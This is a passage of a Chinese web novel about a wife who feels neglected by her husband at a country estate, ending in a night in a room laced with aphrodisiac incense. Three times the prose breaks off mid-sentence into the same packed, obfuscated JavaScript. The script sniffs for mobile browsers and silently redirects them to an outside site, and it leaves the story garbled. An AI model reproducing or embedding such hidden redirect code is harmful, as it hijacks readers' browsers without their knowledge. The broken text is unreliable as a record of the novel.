“岁穗!” 比起叫儿子名字时的严肃,江珂玉叫女儿时更多的是无奈,因而一点都镇不住江岁穗。反而让她变本加厉,不断捧水,抛水,挑衅爹爹。 已然湿身,江珂玉便也不拘着,离开椅子,跪蹲在竹筏上,将女儿护在自己臂弯里的同时,用打湿的手抖水到她脸上来逗她。 “啊啊啊!”江岁穗兴奋得怪叫,和爹爹打起水仗来。 没过多久,盛绮音便加入战局,帮着岁穗“制服”爹爹。 “瞧那一家三口玩得多高兴啊。”桥上的过路人与同伴感叹道。 竹筏马上要过桥,江珂玉被下手没有轻重的女儿泼到了眼睛,眨着眼缓解。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318984|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二哥别动。”盛绮音伸以援手,用自己袖子给他擦眼睛,同时也遮去了他看到桥上风光的视线。 拱桥上,面无表情的宋宝媛静静站立,默默注视,且将路人的话听得清清楚楚。 过了桥,江珂玉眨着眼抬头望天时,她下意识后退,害怕他看到自己。 这一刻宋宝媛觉得,自己远比湿了身的他们要狼狈得多。 连脚步平常的离开,都像落荒而逃。 她还是因为心里惦记孩子和……离开了花圃,因为不知道他们在哪,所以走得像漫无目的。 宋宝媛不知该不该庆幸,因为两个小鬼的笑声很好辨认,所以她远远被吸引而来。 刚刚的岁穗玩得很开心,眼前的承承亦然。 宋宝媛孤身走到稻草堆后,看到自来熟的江承佑和陌生的孩子们在泥巴地里玩闹,一会儿打泥巴仗,一会儿捉泥鳅,一会儿又叫上巧月和六安他们,玩老鹰捉小鸡。 她如果突然出现,好像的确会打扰他们。 双腿因为走了太多路而疲乏,又因站得太久而僵直,但宋宝媛还是坚持着,往相反的方向,越走越快。 她不该无谓的担心,不该觉得他们离不开自己。 现下看来,说自己离不开他们,更妥帖些。 不管盛绮音跟她说的那些话是出于何种目的,都成了不可否认的事实。 可她不想做那样的人。 “呼。” 宋宝媛跑得气喘吁吁。 不知到了何处,她抬头张望,到处亭台水榭,四通八达。 她就近寻了个没人的小亭子坐下,背靠檐柱,大口呼吸。凉风扫在脸上,消退燥热。 视野之中,忽然多了个模样八九岁的假小子,衣着简朴,但胜在干净。 她身上挂满手掌大小的葫芦,脚步迟疑,神色纠结。 这样的孩子,大多是在山庄里上工劳作的仆户之子。他们常在山庄来外客时,兜售一些小玩意,以贴补家用。 瞧她身上挂得满满当当,寻不着空处,脸上酡红,像是累的。宋宝媛不由得心软,耐着性子柔声问:“卖葫芦?” “谷酒。”假小子听到询问后快步走近,但仍肉眼可见地拘谨,“姐、姐,您要买一壶尝尝吗?是我娘亲手酿的,很好喝的。” 酒? 宋宝媛愣了愣。 “怎么卖?” “八十文一壶。” “好。”宋宝媛从荷包里倒了些碎银子递去。 假小子连忙从身上解下葫芦,用袖子擦干净后奉上。 交换回银两后,却有些窘迫,“这、太多了。” 她找不开。 感到疲惫的宋宝媛不想再费口舌,只道:“不用找了。” “谢谢姐姐!” 似乎是怕她反悔,假小子转身就跑,身上的葫芦碰撞,叮叮咚咚的响。 宋宝媛看着她跑远,直到消失踪影。 清风吹拂过四角凉亭,扬起她的鬓发,遮挡她白净的脸,和她半睁着、流露出些许迷茫的眼。 手心的葫芦突兀,她无意识地拨动着葫芦上串着的红绳,神情恍惚。 从前家中藏有各种各样的酒,她本没有多浓厚的好奇心,但阿爹偏要跟她说,不许她偷喝。因而激起了她的逆反之心,使她溜去酒窖,偷尝了遍。 差点醉死在酒桶里。 后来也没长记性,时常贪杯。 不过自爹娘离世至今,期间她嫁作人妇,做当家主母,怀孕生子,为人慈母,都未沾过一滴酒。 上一次,还是洞房花烛夜的交杯酒。 “姐姐!” 伴随着叮叮咚咚的响声,宋宝媛诧异回头,见到了从另一个方向折回的假小子。 假小子喘着粗气,诚恳道:“这个酒很醉人的,你若是一个人喝醉在这里,会很危险。” 宋宝媛哑然失笑,“谢谢你的提醒,不过我酒量很好的,不用担心。” 话说出口,她自己却愣住。 她的确酒量很好的,所以,许多担心是没有必要的。 她一直,都是自己在画地为牢。 8. 叔父 倚栏眺望,宋宝媛懒懒地趴在凉亭靠背上,半睁着眼睛,任清风将她的长发吹散。 在她手心的酒葫芦已经空了大半,令她身上弥漫淡淡酒香。 零星几个人穿过凉亭,都未引起她的注意。 宋宝媛也不知道自己待了多久,一直将脑子放空,不愿多想。 可即便如此,时间也难熬。 “这位夫人。” 年轻姑娘的声音从身后传来,宋宝媛慢了半拍才有反应,回头见到一个丫鬟打扮的小姑娘。 “有事吗?”她平和问道。 小姑娘生了张讨喜的圆脸,瞧着没什么心眼,笑眯眯道:“我家郡主在对面亭子里赏玩,有些无聊。见夫人您独自在这待了许久,也无所事事,便差我过来问问,可愿去与我家郡主手谈一局?” 郡主?宋宝媛诧异,朝对面看去。 京都城里的郡主只有两个,除了睿亲王府那位还未满三岁的小郡主,就只有魏王府的琉安郡主。 “可是……”宋宝媛些许茫然,“对围棋,我只略懂一二,不善技艺。” “那最好不过了!” 宋宝媛:“?” 小姑娘后知后觉自己过于兴奋,抿了抿唇,“解闷而已,我家郡主没那么在乎输赢的。若是夫人愿意,还请夫人移步。” 郡主相邀,她哪有拒绝得份,宋宝媛心想。 她沉默地跟着小姑娘穿行长长的廊道,走进对面凉亭。 “郡主,奴婢将人带过来了。” “臣妇见过琉安郡主。” 凉亭中央,掌心托着脸的妇人将来人打量,她身着雪青华锦,发间金钗夺目,气质雍容,此刻眸中些许困惑。 “自称臣妇,那便是官眷。”琉安修长的食指点了点自己的太阳穴,“老早看见你我就在想,能来这的,非富即贵。我也算爱热闹,大大小小的宴啊、会啊去得都勤快,这京都城里的官眷多少都有个印象啊。尤其你这脸蛋,我若见过定有印象,可为何就觉得你如此眼生呢?” 宋宝媛垂首,“臣妇甚少露面,与郡主应当是第一次见。” “是吗?”琉安眯起眼,“报上名来。” “臣妇姓宋,家中郎君,任大理寺少卿。” 琉安愣了愣,蓦然勾起唇角,恍然大悟般笑道:“那你岂不就是那个……挟恩持报,抢了盛阁老他嫡孙女男人的商户女?” 宋宝媛:“……” 果然,外面就是这么传她的,一点也不令人意外。 仿佛找着天大的乐子,琉安兴致盎然,邀请道:“坐。” 宋宝媛浑身不自在,却没有拒绝的余地,沉默地坐下。 “听说被你抢了姻缘的盛家女,到现在还没嫁人呢。” “……” * 傍晚,已经洗干净满身泥的江承佑在湖边,坐在小板凳上,手里握着小鱼竿。身旁,换了一身粉衣裳的江岁穗与他并排坐,手里还拿着一串冰糖葫芦。 后头六安紧紧盯着他们,防止他们掉湖里。 陪在他们身后的江珂玉不动声色地退了几步,只因瞧见巧月跑了回来。 他低声问:“夫人找到了吗?” 巧月眉头紧锁地摇了摇头,与此同时,从另一边着急忙慌赶回来的巧银气喘吁吁,说不出话,只能摆手表示自己一无所获。 “二哥你别急。”盛绮音在旁安慰道,“宋姐姐又不是小孩子,这山庄地广,她许是走远,或是迷路,不会出什么大事的。” “你还有脸说!”巧月暴脾气,焦躁让她忘了身份,直接暴喝,“我家夫人是你带走的,你倒是一个人好好站在这里!” “我没想逃避责任,但眼下不是找宋姐姐要紧吗?待她回来,我定会好好赔罪。” 盛绮音面上愧疚,忽又垂头道:“二哥对不起,我……” 巧月见她这模样就来气,“你还委屈上了?” “好了!”江珂玉冷声打断,低声吩咐,“先找人。” 巧银上前拽了拽巧月的袖子,低声提醒,“找到夫人要紧。” 尽管生气,但眼下的确不是计较的时候,巧月跺了跺脚,转身小跑离开。 江珂玉不再原地干等,交代六安看顾好在钓鱼的兄妹俩,便亲自去寻人。 幸好两兄妹的注意力都在鱼竿上,没有发现爹娘都不见了。 天色已晚,山庄里游玩的人走了大部分,只剩零零散散的人还在晃悠。 怕天黑真的会出事,江珂玉的步伐越来越焦躁,逢人便打听。 终于,途中遇到个像卖葫芦的小孩,他给了银钱后着急道:“请问,你有没有见到过一个个头大概到我肩膀,穿着天青色的裙衫,长得很漂亮的女子。” 小孩愣了会儿神,似在回忆,慢吞吞反问:“她是不是还有个绿色的荷包?” “是!你见过她?” 小孩点了点头,“我今日卖的第一壶酒就是她买的,在亭台水榭那边。不过,那还是上午的时候,已经过去好几个时辰了。” “亭台水榭?在哪里。” 小孩指向身后,“顺着这条路一直走就能到,但走过去的话还挺远的。” “多谢。” 江珂玉还没来得及听她后面那句,已经迈开步子,朝她所指奔去。 夕阳西下,余晖洒落湖面,致使波光粼粼,令人眼花恍然。 亭台水榭中空荡荡的,唯有一女子坐于长椅,倚靠亭边,食指上缠了根红绳,吊着个葫芦,挑逗湖面冒头的锦鲤。 数步之外的江珂玉脚步顿住,久久注视。 他的夫人,此刻三千青丝散落,垂于湖面。姣好的容颜落上夕阳的余晖,眸眼迷离,面生红晕。 身无配饰,却如此娇媚。 是他从未见过的模样。 眼前渐渐蒙上一层阴影,宋宝媛缓缓抬眸,扭头看去。 逆光而来的男子长身玉立,模样……煞是好看。 恍惚之中,宋宝媛想起初次见面,六岁的自己坐在台阶上用蛮力拆解九连环。忽然听到阿爹唤她,她猛然抬头,瞥见了逆着光站在门槛边的江珂玉。 阿爹说:“从今往后,你要叫他哥哥。” 六岁的她不识字,唯一能想到的形容词,只有好看。 突然拥有了一个模样如此俊俏的哥哥,她惊得掉了九连环。 后来无数次,哥哥从书院回家,婢女提前支会,她会抛下手头所有事情,跑去门口。 不是迎接,是偷看。 她躲在檐柱后,偷偷看哥哥跨过门槛,走过长廊…… 九年兄妹,六年夫妻。 她就这么看着他,等着他,满怀期待地度过了十五年。 江珂玉心中诧异,但并未表露,怕她误以为是责怪。 所以他走近时,只是语气寻常地问:“你喝酒了?” “嗯。”宋宝媛回过神,扶着檐柱慢慢站了起来,“一点点。” 忽有风来,她散落的长发飞舞,遮了脸。 江珂玉恍神片刻,下意识伸出的手有些无措,“你的发簪呢?” 不止簪子,宋宝媛的发钗、耳坠、手镯、荷包……除了衣服,身上所有东西都不见了。 但多了个葫芦。 “输掉了。”宋宝媛低声道。 她现在知道那个替郡主来找她的小婢女,为何在听到她说自己技艺不精的时候那般高兴了。 琉安郡主的棋术那叫一个烂,偏又不喜欢别人相让,最喜欢凭实力输给她的人。 江珂玉一头雾水,“什么?” “有个陌生人找我下棋,我闲来无事就答应了。”宋宝媛感到疲倦,简单解释道,“身上的财物都输给她了。” 江珂玉这才发现,旁边的石桌上,还有一副残局。 “那、既然散了,你为何还在这里。” 缘由有些难以启齿,宋宝媛咬了咬嘴唇,“本来连衣服都输了,但为了留些体面。那人要我天黑后才准离开,除非我能破了桌上那副残局。” “谁?” “不认识。”宋宝媛声音有些哑,“也没问。” 江珂玉多扫了几眼,捻起棋子,随手破了棋局,心中只道那人棋术一般。 他落子时状似无意地问道:“是男是女,是何模样?” 宋宝媛没有立刻回答,抬手揉了揉眉心以合理拖延时间。 虽然很幼稚,但…… “是个男子,长相平平,倒是挺爱笑的。”她淡淡道,“不过,这很重要吗?” “不重要。”江珂玉面无表情,从语气中听不出情绪,“萍水相逢,未必还能再见,我就是随便问问。这棋我替你走了,我们回家吧。” “嗯。” 宋宝媛话音刚落,就被他拉着阔步往回走。 天色渐暗,迎着风,江珂玉的脚步快到她要小跑起来才能跟上。 走得太快了,她不断拨着飞到脸上的青丝。 江珂玉突然停了下来,宋宝媛匆匆止步,不明所以地抬头看向他。 江珂玉默不作声,从腰间抽了条帕子,折成条状,回身将其当作发带,拢起宋宝媛散开的长发。 他的两条胳膊从肩上穿过,宋宝媛的脸离他的胸膛很近,抬眼可见他冷峻的下颚线。 “你生气了?”宋宝媛试探地问。 江珂玉的动作顿了顿,讶异地看了她一眼,“没有啊,我生什么气?” “我有什么要生气的,只是瞧你这样不方便,而且天快黑了,岁穗和江承佑还在等我们,我们得快些走。” 不多问、不在乎、毫不放心上。 虽在意料之中,宋宝媛依旧难掩失望,她低头掩去神色,“哦”了一声。 “走吧。” 给她绑好头发,江珂玉又拉起她的手,握紧她的手腕,继续赶路。 晚间的风带着几分凉意,使得他们衣袍猎猎,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318985|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都未有察觉。 一路无言。 * 见夫妻俩回来,盛绮音第一个冲了上去,神色愧疚,差点哭出来,“宋姐姐你可算回来了,你若还不回来,我就要以死谢罪了。” 再次被她抱住胳膊的宋宝媛无奈,“是我的问题。” “宋姐姐你去哪了?”盛绮音嗅了嗅,眉头轻蹙,讶异道,“你喝酒了?” 宋宝媛不想再解释第二遍,轻描淡写道:“路上遇到个卖酒的孩子,瞧她辛苦就做了她一笔生意。买都买了,就喝了一点点,然后随便逛……” 她忽地顿住,目光一滞,“你这身衣服?” “是宋姐姐你的!”盛绮音松开她,拎起裙子原地转了一圈,“没想到那么合身。” 她笑着解释道:“白天的时候,我和二哥坐竹筏,湿了衣服。没料到有这出,我没带可以换的衣服。二哥怕我着凉,就拿了你的给我。” 因为有两个孩子的缘故,宋宝媛习惯带他们出门的时候,备上可以更换的衣服,没想到都派上了用场。 虽然没用在自己身上。 “本想问你的,可找不到你,我便自作了主张。”江珂玉在旁解释道。 “无妨。”宋宝媛低声重复,“无妨的。” 比起宽慰他们,更像在对自己说。 江珂玉只当是件小事,三言两语便揭过,扭头看向还在湖边的兄妹俩,“你们收拾东西,准备回家了。” “不行!”江承佑头也没回,“我答应娘亲,要亲手钓到鱼,给娘亲吃烤鱼的。娘亲回来了,但我的鱼还没上钩呢!” 江珂玉本要强硬地再提醒他一遍,却见宋宝媛从自己身前走过。她走到兄妹俩身边蹲下,摸了摸他们的脑袋,还温柔道:“娘亲等你们。” 不好驳她的面子,江珂玉只能把到嘴边的话咽回。 “宋姐姐。”盛绮音上前,继续攀谈,“等明日,我让人把衣服洗干净后,亲自过来还你。” 宋宝媛同儿女们一样,盯着鱼钩,不甚在意道:“不用了,一件衣服而已。你若喜欢便留下,不喜欢扔了也行。” 盛绮音愕然,倏忽睁大了眼睛,“宋姐姐,你是不是嫌弃我呀。我不是有意要穿你的衣服,我只是……” 她回头无助地看了一眼江珂玉。 巧月突然出现,横在盛绮音和江珂玉中间,挡掉视线。 她皮笑肉不笑道:“盛姑娘误会了,我家夫人不是嫌弃你,只是从来不用别人用过的东西。毕竟,有的是。” 这股敌意,纵然是江珂玉也能感受得到。 他以为巧月还在为盛绮音弄丢夫人的事生气,这是人之常情,所以只是上前提醒道:“时候不早了,小四,你先回去吧。” “二哥。”盛绮音绕开巧月,来到他面前,诚然道:“今日是我不好,今后我一定不会再玷污宋姐姐的东西。我们这么多年好兄弟,你知道我的,我只是……” 她欲言又止,叹了口气,“总之,你替我和宋姐姐解释吧,希望她不要生我的气。更不要因为我,影响你们的感情。” “我没有你说的那个意思。”宋宝媛心中憋闷,起身回头道。 “没有就好!”盛绮音连忙道,局促间夹带着几分讨好,“下次见面还不知是什么时候。” 她灵光一现,“对了,大哥家的乔迁宴,宋姐姐你会去吧!到时候你肯定很多人都不认识,我陪你走动,给你介绍,就当是给今天赔罪了。” 宋宝媛压根不知她在说什么。 见其迷茫,盛绮音惊讶地眨了眨眼睛,捂了捂嘴,“宋姐姐你怎么好像不知道,你该不是……没有被邀请吧!” 原来又是一个他们的宴会,宋宝媛已经习以为常,但被这样说出来,未免有些难堪。 她还未有反应,忽然一声急躁的喊声打破氛围。 “这位叔父!” 江承佑气得跺脚,“你能不能小点声,我的鱼都被你吓跑了!” 四下沉默。 盛绮音后知后觉这孩子喊的是自己,“你叫我什么?” 江珂玉匪夷所思地看了过来,缓缓走过儿子身边。 “叔父啊,不是吗?”江承佑笼罩在爹爹的影子里,被其气场压了一头,声音立刻弱了下来,嘟嘟囔囔,“巧银姐姐说的,爹爹的好兄弟,年纪比爹爹大的叫伯父,年纪比爹爹小的叫叔父。” 江珂玉哭笑不得,没好气地揪上了他的耳朵,“你看不到人家是女孩子吗?要叫姑姑。” 江承佑委屈,撅了撅嘴,“哦。” “那是巧银姐姐说错了?”江岁穗仰着天真的小脸问。 宋宝媛伸手摸了摸她的脸,“巧银姐姐没有说错。” “那哥哥哪里错了?” 宋宝媛答不上来。 “童言无忌。”她笑道,“想必盛姑娘也不会跟孩子计较。” 盛绮音僵硬地扯动嘴角。 “自然。” 9. 房间 已经彻底入夜,万籁俱寂。 湖边,江承佑和江岁穗依旧坐在小板凳上,满怀期待地守着鱼竿。 久等不到鱼儿上钩,六安搬来了两把椅子,供两个主子休息。 宋宝媛和江珂玉因而坐在两个孩子身后,彼此沉默了有两刻钟。 六安和巧银站在两侧,各自提了盏灯,不着痕迹地交换了一个眼神,都觉得此刻氛围极为古怪,却又说不上来哪里不对。 就这么又过了两刻钟。 终于,江珂玉垂眸,拨动着无名指上的玉指环,语气淡淡地问:“如果他整晚都钓不上一条鱼,夫人便打算陪他一晚上吗?” 宋宝媛的手肘支在椅背上,食指缓慢地按压着自己的太阳穴,“承承若是开心,我这个做娘亲的,牺牲点时间又无妨。” 江珂玉欲言又止,良久,轻声道:“未免有些溺爱。” 忽又陷入沉默。 宋宝媛看向地面,没有否认,“夫君是在责怪我吗?” 江珂玉的视线漫无目的地挪动,看向与夫人所在相反的方向,“我并非此意。” “夫君是在怪我溺爱承承,还是怪我没有教好他,让他冒犯了盛姑娘?” 江珂玉愣了会儿神,“这和小四有什么干系?夫人提起她,是在怪我自作主张,将夫人的衣物借用吗?” “我哪有这般小气。”宋宝媛压着声音道。 霎时又陷入了死寂。 这是在……吵架吗? 巧银和六安同样疑惑,若说他们在吵架,这语气也太温柔冷静了。若说不是,这气氛又实在非比寻常。 已经这样明显了吗?宋宝媛心想。 平日里那么温润耐心的人,今天却仅仅只是因为驳了那人的面子,就丝毫不向着自己的亲生的孩子,还要把她想得如此低劣。 到底哪里出了问题?江珂玉不解。 他好好的夫人,平日单纯美好得像朵小白花,今日却莫名生了刺。 是因为喝了酒,还是因为跟一个素不相识又莫名其妙,还一点边界感都没有的男人共度了一日? 时间在越来越诡异的氛围里流逝。 直到巧月小跑着回来。 “夫人,郎君,已经和山庄管事的交代了。他们也已经安排和布置好了房间,我们随时可以过去。” 因着太晚,已经不方便再回府,所以江珂玉决定在山庄留宿一晚。 他的目光依旧游离,“夫人先带岁穗去睡觉吧,江承佑这里,我守着就是。” 宋宝媛没动,“承承是因为我才非要钓这条鱼的,理该我留下陪他。” “你喝了酒,当早些休息。” “我不碍事,倒是夫君,明日还要正事要忙,不如就先带岁穗去睡觉吧。” 谁都没动。 仿佛僵持着,又过了整整一刻钟。 江岁穗打了个哈欠,眼中布满水汽,揉了揉眼睛。 忽地又睁大,“动了!动了!” 她激动地摇着哥哥的胳膊。 江承佑立马站了起来,卯足力气扬起鱼竿,带起一线水花,朝身后甩去。 “夫人小心!”巧月惊道。 宋宝媛反应迟缓,还没意识到自己该小心什么,眼前便被阴影笼罩,整张脸被宽大的袖子盖上。 她微微仰面,得见江珂玉没有表情的侧脸。 他的袖子挡去了水花,和一条挂在钩上,甩着尾巴,还没食指长的小鱼。 “江承佑!” 江承佑吓得赶紧将手里的鱼竿塞到六安手里,自己老实站好,不敢吱声。 收回手的江珂玉站了起来,心中憋闷,又不好再说重话,只能忍耐,“和妹妹去睡觉。” “是。” 江承佑如临大赦,立马拉起江岁穗,溜之大吉。 夫妻俩依旧无言,并排而立,似乎都在等着对方先开口。 可是谁都没有。 * 江承佑和江岁穗一进房间便惊呼,因为屋中摆满了玩具,不倒翁、鲁班锁、七巧板……还有挂着的鸟笼,里面有一只漂亮的鹦鹉。地面还有铺在稻草的木笼,养着两只呆萌的白兔。 不仅如此,桌上还摆放着各式小孩喜欢的点心,床上还有布老虎,挂着彩色纸蝴蝶。 跟随小主子进来的巧月不由感叹,“这曲水山庄不愧是最会赚钱的,我让他们留房间的时候,他们管事的特意问了是给谁住。没半个时辰,他们就把房间布置成了这样。” 巧银陪着江岁穗蹲地上喂兔子,江承佑爬到了凳子上,握着细木棍逗鸟。 “孩子的房间都是玩具。”巧银若有所思,抬头看向巧月,眸中戏谑,“那夫人和郎君的房间里,得是什么样?” 巧月愣了愣,唇边缓缓勾起意味深长的笑容。 被沉默笼罩的另一边,夫妻俩站在敞开的房门前,身体僵硬,眸光呆滞。 遍地粉红花瓣,暖香弥漫,榻边红烛在燃,龙凤和鸣。珠帘纱帐,鸳鸯锦被,满是旖旎之色。 两人跨过门槛的脚步迟疑,江珂玉环顾一圈,面上镇定。整个屋内,唯有桌上那套精美的白瓷茶具不显迷情。 他淡定地走到桌边,倒茶压惊。 上次见到这种场面,还是洞房花烛夜。 宋宝媛进屋后带上了房门,默不作声地往里走,拿起窗边精致的小花瓶,倒出水来,灭了散发奇异香味的香炉。 在她身后,含着半口茶的江珂玉盯着手里茶杯沉思,好奇怪的味道。 他本想吐出来,恰好宋宝媛回头,恐落她眼中不雅,他下意识咽了下去。 这种氛围下还在那喝茶,看都不看她一眼,宋宝媛此刻的思绪多如牛毛,对她便这么提不起兴趣吗? 细数也是,夫妻六年,虽夜夜同床共枕,但他行房事从不贪恋。一次过后,隔个十天半月都属正常。昨日已经做过,对他而言,怕是算任务完成,所以今日必不存那种心思。 宋宝媛如此想着,将床帐拉开,绑在了床架上。 平日睡觉并不落账,只有行事才落,这是他们夫妻六年心照不宣的事情。 江珂玉不动声色地收紧手心,捏紧茶杯,她那么着急地将床帐打开挂起,是生怕他做什么吗? 为什么不愿意?他做得很糟糕吗?江珂玉心中沉闷。 不可能,他已然克制,都生了两个孩子,绝不可能是他的过程做得不好。 宋宝媛一声不吭地将鸳鸯被上的花瓣扫落,站在床榻边,转身望向依旧在转茶杯的夫君。 “已经很晚了,再喝茶的话,会失眠的。” “嗯。”江珂玉不咸不淡地应了一声,起身走向床榻,中途还顺便吹灭了红烛。 屋中的光亮,只剩零碎的月光从窗边流入。 昏暗之中,江珂玉心不在焉,没察觉脚下,被一级台阶绊到,失了重心,猝不及防往前磕去。 太快太突然,宋宝媛反应不及,被他压倒,伴随着额头相碰,头盖骨狠狠撞击的声音,她后仰摔入床榻。 慌忙之中,江珂玉伸手垫在她脑后,自己全身的重量都倾覆夫人柔软的身躯。 “叮铃铃!” 一道悦耳的铃铛声不知从床榻哪个角落传出。 额头疼,但两人硬是没吭声。 但因床榻震动而有铃铛声不绝于耳。 江珂玉埋头在夫人的鬓发间。 熟悉又令人心安的香味充斥在他鼻尖,好似要将他淹没。 他不合时宜地,腹下燥热。 但他还是第一时间撑起自己的上半身,急道:“抱歉。” 宋宝媛摸上自己的额头,咬着嘴唇,闷哼一声。 好热。 四目相对,互相看不清彼此眼中的情绪 垫在夫人脑后的手,摸到了奇怪的东西,江珂玉缓缓掏出,两人不约而同看过去。 一卷画布,他拿起时已经展开,依稀可以辨别出,是……春宫图。 江珂玉瞳孔一震,趁宋宝媛还没看到正面,赶紧从她身上起来。他坐在床榻边,面不改色地将画布卷起,轻咳的同时,将其丢进角落。 宋宝媛也坐了起来,不明所以。只是感觉被硌,于是往床铺下摸索。 江珂玉回头时,正好瞧见她摸出一个木盒。 宋宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318986|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媛诧异,打开来,里面是戒尺、滚珠、圆钝的木棍…… 乱七八糟的东西归置在一个盒子里也就算了,为什么还放在床上? 江珂玉身子一僵,眼皮跳了跳,越是告诉自己不要去想,那画面便越容易浮现在脑海。 他佯装镇定道:“许是他们收拾房间的时候放错地方了。” 江珂玉的耳根子红得要滴血,一来庆幸自己刚刚吹了烛火,夫人看不到他不自然的神色。二来庆幸夫人单纯。当年他们大婚仓促,她没来得及学那些东西。当夜顺利圆了房,后面便也没有学的必要了。 宋宝媛并未多想,将这些杂物统统丢出床榻,然后解了衣裳,在床榻里侧规规矩矩躺好,闭上了眼睛。 好热,但她还是为了自然,盖了一点被褥。 心中躁动,江珂玉很清楚这并非不安,而是身体的渴望。 他褪下外衫,为了不让夫人看出异样,即便身躯灼热也老老实实盖上了被子。 两人自躺下后便一动不动,中间相隔的距离,足以再躺下一个人。 太热了,半晌,宋宝媛终于反应过来,这并不是屋内的温度使然,而是她的身体想要被填满。 这样的欲望除了临门一脚时从未有过,她不由得怀疑香炉里那奇怪的香味。幸好她及时浇灭,不然,还不知做出怎样失态的事情。 江珂玉眉头紧锁,被褥被他抓皱,极力地忍耐着。 两人不敢动,这张床最为诡异,一震就会传出或大或小的铃铛声,刺激着大脑,令人失去思考。 两人也睡不着,难受得紧,调动着全部的意志,和一个名为欲望的家伙争夺身体的控制权。 宋宝媛咬着嘴唇,江珂玉攥紧手心。 时间变得无比煎熬,不知过了多久,宋宝媛猛然掀开被子坐起来。 江珂玉又惊又诧异,跟着坐起,“怎么了?” “我……我好像听到岁穗在哭。”宋宝媛一边说一边动身,“我过去看看。” “我去吧。”江珂玉将她拦截,自己利落翻身下榻,拾起外衫随意地往身上一披,快步出门。 一切发生得太快,还夹杂着细细碎碎的铃铛声。 江珂玉一走,宋宝媛如释重负,大口喘气。她忙在床榻见仔细翻找,就是找不到那该死的,扰人心智的铃铛! 感受自己的呼吸都滚烫,她又气又恼,跑去门口吹凉风。 得到些许慰藉,宋宝媛后退到桌边,顺手倒了杯茶,以定心神。 可是……好奇怪的味道,她含着茶水犹豫,算不上难喝,但就是奇怪。 但因着茶是凉的,为了给身体降温,她还是喝了下去。 另一头,走出房间的江珂玉尤获新生,在院中摆放的缸里捧起凉水,拍到脸上,让自己清醒。 见鬼,他心道。 怎会如此失态。 他在外耽搁良久,挨着冷风绕着走廊走了整整两圈,在儿女房间前看过三次,感到胸腔涌动的情绪有所平复后,才慢慢往回走。 隔着一段距离,他看到宋宝媛身形单薄地站在门口,像是在等他。 江珂玉立刻感到懊恼,加快脚步,将自己的外衫褪下,“你怎么在这里,夜里风寒,会着凉的。” 宋宝媛有嘴难言,找不到理由拒绝他把外衫裹到自己身上。带着男子体温和淡淡清香的衣物,将她好不容易冷静下来的身躯覆盖。 “我……岁穗和承承怎么样了?”她转移话题问。 “睡得正香,毕竟玩了一天,肯定累了。”江珂玉握上她的手腕,拉着她回屋,“许是你太惦记他们,所以听错了。赶紧睡吧,莫要自己吓自己了。” 宋宝媛木讷地点了点头。 本以为身潮已退,终于可以安心入睡。 谁料,重新躺回床榻,没过多久,异样的感觉卷土重来。 宋宝媛:“……” 江珂玉:“?” 这破屋子绝对有问题! 宋宝媛忍无可忍,又猛然坐起,但一说话,气势荡然无存,只有忧心。 “我、我还是听见岁穗在哭,我、还是、还是想自己去看一眼。” 10. 请柬 整夜未眠,天刚蒙蒙亮,江珂玉便以公事为由头,先行离开山庄。 头一回,虽然夫君一走,宋宝媛就要独自看顾两个孩子,但她却感觉轻松了很多。 还没到上值的时候,江珂玉骑马绕了远路,直接就进了常云柏家。 一进府,常府的门房便连问也不问就带他往主子书房去,显然已经习以为常。 “你怎么在这?” 书房外有石桌石凳,坐那咬包子的高洛书一见江珂玉,就和他同时发出疑问。 夹在中间的常云柏打了个哈欠,“我这就跟收容所似的,你俩一遇到点事就往这跑。来也就算了,你们能不能挑点时候?这么早!你们赶着去投胎啊!” 他越说越具怨念。 但两个人都没搭理他。 昨日急着找夫人,江珂玉压根没吃东西,现下看到早饭,着实有些饿了。 高洛书瞄他一眼,心领神会,于是以迅雷不及掩耳之势把眼前三个包子各咬了一口,再嗦了口粥。 江珂玉:“……” 好贱。 常云柏无语凝噎,抬手招来婢女,让她再去拿早饭来。 “他是被他爹制裁了。”常云柏叹了口气,“你又怎么了,江少卿,你昨日不是带着妻儿出门游玩了吗?怎么现在看起来……” 他盯着江珂玉打量,“啧,黑眼圈的出来了,不会劳碌了一夜吧。” “滚。” 江珂玉没好气地将他好奇的脸推开。 “也不对呀。”常云柏摸摸下巴,自己推翻了自己的猜测,“要真是那样,你没理由一大早来我这啊,到底怎么了?” “没怎么。”江珂玉轻描淡写道,“只是看错时辰,出门早了。” 高洛书白他一眼,“编谎话也编个像样的。” “爱信不信。” “让我来猜一猜。”高洛书掐着指头,摆出世外高人的架子,“江少卿平日里一丝不苟,何曾出现过衣襟不正的时候。出门的时候夫人没提醒你吗?该不会就是跟夫人闹别扭了才来这的吧。” 